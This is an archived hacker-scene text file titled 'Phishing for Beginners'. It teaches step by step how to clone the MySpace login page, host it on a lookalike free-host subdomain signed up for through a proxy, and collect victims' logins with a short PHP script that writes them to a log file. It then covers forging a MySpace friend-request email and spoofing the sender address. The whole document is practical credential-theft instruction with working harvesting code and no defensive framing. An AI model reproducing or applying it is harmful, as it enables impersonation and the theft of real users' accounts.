💾 Archived View for gemini.spam.works › mirrors › textfiles › uploads › phishing.txt captured on 2020-10-31 at 01:18:24.
-=-=-=-=-=-=-
==----...+----------------------+...----==
===----...| |...----===
====----...|Phishing for Beginners|...----====
=====----...| tutorial by |...----=====
====----...| _cracked.anarchist |...----====
===----...| |...----===
==----...+----------------------+...----==
Wikipedia defines phishing as "In computing,
phishing is the act of attempting to...acquire
sensitive information, such as passwords...by
masquerading as a trustworthy person...with a
real need for such information in a seemingly
official electronic notification or message
(most often an email, or an instant message).
It is a form of social engineering attack.
When phishing for something, there are four
key areas that you want to focus on. Keep
in mind that this tutorial is focused on
web-based phishing.
* Sounding the same as the party you are
masquerading as
* Having a seemingly legitamit need for
the information
* Having the same type of website design/
email template as the trustworthy party
* Having a similar domain as the
trustworthy party.
Let's go over the first key point. When
phishing, you want to look as though you are
the party you are pretending to be. An example,
is if you are pretending to be from a bank, you
would want to use correct grammar and not use
1337 sp34k in your email.
Now to tackle the second key point. You need to
make up a NEED for the information. Don't just
bring them to a webpage saying "Please give us
your password". Sound as though you need it.
e.g. You have been selected for a trial upgrade
in membership/removal of ads/free tools, but to
confirm your identity you must provide your
login credentials.
The third area you need to pay special attention
to is how your email/webpage looks in comparison
to the actualy party's. If you are pretending
to be from myspace, you wouldn't want to say,
have a webpage made in 30 seconds in notepad
that looks like a 12-year-old made it. It's
always a good idea to mke an exact copy
(save the source) of a page from the actual
site, but make it post the data to your own
site.
The last area, is to ake sure that the domain
you are bringing them to looks legit. If you
are pretending to be google looking for a gmail
password, These are some good and bad
examples.
BAD-http://gmail.150m.com/phisher.html
GOOD-mail.google.com.login.tripod.com/login.html
OK, so now you know the very basics to phishing
over the web. Now, let's walk through an
example. For this example, we will be doing
myspace. We are looking for the password of
someone. So, first off, we need to make a page
which sounds like it came from myspace, and has
the same appearence. Lucky for us, they have a
login screen. Go to
http://login.myspace.com/index.cfm?fuseaction=login&nextPage=fuseaction%3dmail.friendRequests
and go to file >> save as and save it to your desktop.
Now, open up the page with notepad. Now search
for 'action="http://login.myspace.com/' without
the single quotes. Now, highlight everything
inside of the quotes (the url of the login
script). Downsize that window and open up a
browser window. Go to a free host of your
choice, perferably one with short subdomains,
but it has to allow server side scripting, look
for php. e.g. *.110mb.com, *.tripod.com, etc.
GO onto one using a proxy (find one at
picatta.homeip.net) and sign up for one wth a
temporary emaila ccount, like at
http://www.mailinator.com/. Make it sound legit
like myspace.110mb.com. Then login, and make
som folders to make it sound better,
e.g. myspace.150mb.com/login/auth/. Next,
bring the notepad window back up and change the
string of the url to whatever folder you just
and add process.php to the end (change if the
scripting language is different.) It may look
like
http://myspace.150mb.com/login/auth/process.php.
Now, save and upload the web page to your
webhost and change the name to like login.html.
After this, make a text file in the same
directory named log.txt. You may need to chmod
it to 0777.
Now, when you open up the page, type in login
info and hit submit, you should be looking at
the process.php page (or whatever you called
it). The next step is to program the
process.php page. The example I provide will
be in php, of course.
EXAMPLE:
<?php
$email = $_POST['email'];
$password = $_POST['password'];
$fw = fopen('log.txt', 'a');
fwrite($fw, 'email: ' . $email . ' | password: ' . $password . "\n");
fclose($fw);
header("Location: http://myspace.com/");
?>
OK, so, assuming the code works, when they
put in their info and hit submit, the info
should appear in log.txt, and they should
be re-directed to the myspace homepage.
The last thing, but certainly not least, to
worry about is how to get them to go there.
This tutorial will cover emailing. While
there are more ways to do this, I will only
cover emailing. First off, let's design the
email. Dig a myspace email (friend request)
out of your inbox. Let's change it. Here is
the basic form of one.
Hi (your name),
(someone) would like to be added to your MySpace friends list.
By accepting (someone) as your friend, you will be able to send (someone) personal messages, (someone)'s photos and journals, and you will be able to interact with each other's friends and network!
Click the following link to view (someone)'s profile and accept or reject this user as your friend:
http://www1.myspace.com/reloc.cfm?c=1&id=(8 random letters/numbers)-(4 random letters/numbers)-(4 random letters/numbers)-(4 random letters/numbers)-(12 random letters/numbers)
-------------------------
At MySpace we care about your privacy. We have sent you this notification to facilitate your use as a member of the MySpace.com service. If you don't want to receive emails like this to your external email account in the future, change your Account Settings to "Do not send me notification emails"
Click here to change your Account Settings:
http://www.myspace.com/reloc.cfm?c=11
You can also contact us with any questions or concerns regarding your privacy at:
mailto:privacy@myspace.com
MySpace.com 1223 Wilshire Blvd. 402, Santa Monica, CA 90403-5400 USA
?2003-2006 MySpace.com. All Rights Reserved.
Fill in the areas in () and then take that long like,
and then replace the link to the person's profile with
<a href="(address of the fake login page)">(long link to someones profile provided above)</a>
This needs to be send as html mail.
Now, the very last step is to spoof the from address. You can send it by signing up like
somehotchick-myspace@yahoo.com, but it is not very convincing. Use google to find a mail
spoofer, and spoof your to like asdf1234.dsfre_@message.myspace.com. Try using something
like pySpoof from http://pythoncode.awardspace.com/.
And there you go, you now know some very basics of phishing!